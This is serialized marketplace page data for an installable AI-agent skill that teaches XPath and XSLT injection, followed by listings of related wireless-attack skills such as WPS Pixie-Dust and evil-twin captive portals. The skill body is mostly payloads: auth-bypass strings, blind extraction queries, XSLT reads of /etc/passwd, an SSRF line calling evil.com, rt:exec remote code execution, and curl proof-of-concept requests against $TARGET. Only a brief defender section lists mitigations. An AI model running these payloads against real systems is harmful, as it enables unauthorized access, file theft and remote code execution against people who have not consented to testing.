[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFVT642XMVBPSZW1JTFV99":3,"skill-same:01M7DFVT642XMVBPSZW1JTFV99":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7DFVT642XMVBPSZW1JTFV99","xpath-xslt",null,"XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() \u002F EXSLT extensions.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fxpath-xslt\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: xpath-xslt\ndescription: XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() \u002F EXSLT extensions.\nmetadata:\n  when_to_use: \"xpath xslt xml injection xpath_string xsl:value-of document()\"\n  mitre_attack: T1190\n  subdomain: injection\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FXPATH Injection\u002F\n---\n\n# XPath + XSLT Injection\n\n## XPath Injection\nXPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.\n\n### Auth bypass\n```python\n# Vulnerable\nquery = f\"\u002F\u002Fuser[username='{user}' and password='{pw}']\"\n\n# Payload\nuser = \"' or '1'='1\"  → \u002F\u002Fuser[username='' or '1'='1' and password='']\nuser = \"admin'] | \u002F\u002Fuser[*='\"  → returns all users\n```\n\n### Blind extraction\n```bash\n# Boolean\n\u002F\u002Fuser[username='admin' and substring(password, 1, 1)='a']\n# Time-based — XPath has no sleep, but some impls support extensions\n```\n\n## XSLT Injection\nWorse than XPath: XSLT is Turing-complete and many engines support\nfile I\u002FO and RCE.\n\n### document() function — file read\n```xml\n\u003Cxsl:value-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n\u003Cxsl:value-of select=\"document('http:\u002F\u002Fevil.com\u002Fx')\"\u002F>  ← SSRF\n```\n\n### EXSLT — RCE on some engines\n```xml\n\u003C!-- Saxon -->\n\u003Cxsl:value-of select=\"saxon:evaluate('1+1')\"\u002F>\n\n\u003C!-- libxslt w\u002F Xalan-Java extension -->\n\u003Cxsl:value-of select='rt:exec(rt:getRuntime(), \"id\")'\u002F>\n```\n\n### Reflected XSS via XSLT\n```xml\n\u003Cxsl:value-of select=\"\u002F\u002Finput\" disable-output-escaping=\"yes\"\u002F>\n\u003C!-- attacker-controlled XML → unescaped output → XSS -->\n```\n\n## Detection\n- Endpoint accepts XML w\u002F XSLT transform (XML report builders, SOAP responses w\u002F XSLT)\n- Apps using XPath: legacy intranets, file-based config querying, XML feeds\n\n## PoC\n```bash\n# XPath\ncurl -X POST \"$TARGET\u002Flogin\" -d \"user=' or '1'='1&pass=anything\"\n\n# XSLT file read\ncurl -X POST \"$TARGET\u002Ftransform\" --data-binary @- \u003C\u003C'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003Cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:value-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\nEOF\n```\n\n## Severity\n- XPath auth bypass: Critical 9.8\n- XSLT file read: Critical 9.0\n- XSLT RCE: Critical 10.0\n- Blind XPath extraction: High 7-8\n\n## Defender\n- Use parameterized XPath via libraries (`lxml.etree.XPath(expr)` w\u002F variable bindings)\n- Disable XSLT extensions by default\n- Use `XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE` (libxslt)\n- Sanitize \u002F strict-validate XML input schema\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FXPATH Injection\u002F` + `XSLT Injection\u002F`\n- XXE (different XML class): `skills\u002Fexploit\u002Fweb\u002Fxxe.md`\n","# XPath + XSLT Injection\n\n## XPath Injection\nXPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.\n\n### Auth bypass\n```python\n# Vulnerable\nquery = f\"\u002F\u002Fuser[username='{user}' and password='{pw}']\"\n\n# Payload\nuser = \"' or '1'='1\"  → \u002F\u002Fuser[username='' or '1'='1' and password='']\nuser = \"admin'] | \u002F\u002Fuser[*='\"  → returns all users\n```\n\n### Blind extraction\n```bash\n# Boolean\n\u002F\u002Fuser[username='admin' and substring(password, 1, 1)='a']\n# Time-based — XPath has no sleep, but some impls support extensions\n```\n\n## XSLT Injection\nWorse than XPath: XSLT is Turing-complete and many engines support\nfile I\u002FO and RCE.\n\n### document() function — file read\n```xml\n\u003Cxsl:value-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n\u003Cxsl:value-of select=\"document('http:\u002F\u002Fevil.com\u002Fx')\"\u002F>  ← SSRF\n```\n\n### EXSLT — RCE on some engines\n```xml\n\u003C!-- Saxon -->\n\u003Cxsl:value-of select=\"saxon:evaluate('1+1')\"\u002F>\n\n\u003C!-- libxslt w\u002F Xalan-Java extension -->\n\u003Cxsl:value-of select='rt:exec(rt:getRuntime(), \"id\")'\u002F>\n```\n\n### Reflected XSS via XSLT\n```xml\n\u003Cxsl:value-of select=\"\u002F\u002Finput\" disable-output-escaping=\"yes\"\u002F>\n\u003C!-- attacker-controlled XML → unescaped output → XSS -->\n```\n\n## Detection\n- Endpoint accepts XML w\u002F XSLT transform (XML report builders, SOAP responses w\u002F XSLT)\n- Apps using XPath: legacy intranets, file-based config querying, XML feeds\n\n## PoC\n```bash\n# XPath\ncurl -X POST \"$TARGET\u002Flogin\" -d \"user=' or '1'='1&pass=anything\"\n\n# XSLT file read\ncurl -X POST \"$TARGET\u002Ftransform\" --data-binary @- \u003C\u003C'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003Cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform\">\n  \u003Cxsl:template match=\"\u002F\">\n    \u003Cxsl:value-of select=\"document('file:\u002F\u002F\u002Fetc\u002Fpasswd')\"\u002F>\n  \u003C\u002Fxsl:template>\n\u003C\u002Fxsl:stylesheet>\nEOF\n```\n\n## Severity\n- XPath auth bypass: Critical 9.8\n- XSLT file read: Critical 9.0\n- XSLT RCE: Critical 10.0\n- Blind XPath extraction: High 7-8\n\n## Defender\n- Use parameterized XPath via libraries (`lxml.etree.XPath(expr)` w\u002F variable bindings)\n- Disable XSLT extensions by default\n- Use `XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE` (libxslt)\n- Sanitize \u002F strict-validate XML input schema\n\n## Cross-references\n- Upstream: `skills\u002F_corpus\u002Fpayloads\u002FXPATH Injection\u002F` + `XSLT Injection\u002F`\n- XXE (different XML class): `skills\u002Fexploit\u002Fweb\u002Fxxe.md`\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"injection","xpath xslt xml injection xpath_string xsl:value-of document()","T1190","skills\u002F_corpus\u002Fpayloads\u002FXPATH Injection\u002F","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fxpath-xslt","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill xpath-xslt",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill xpath-xslt",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill xpath-xslt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fxpath-xslt\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]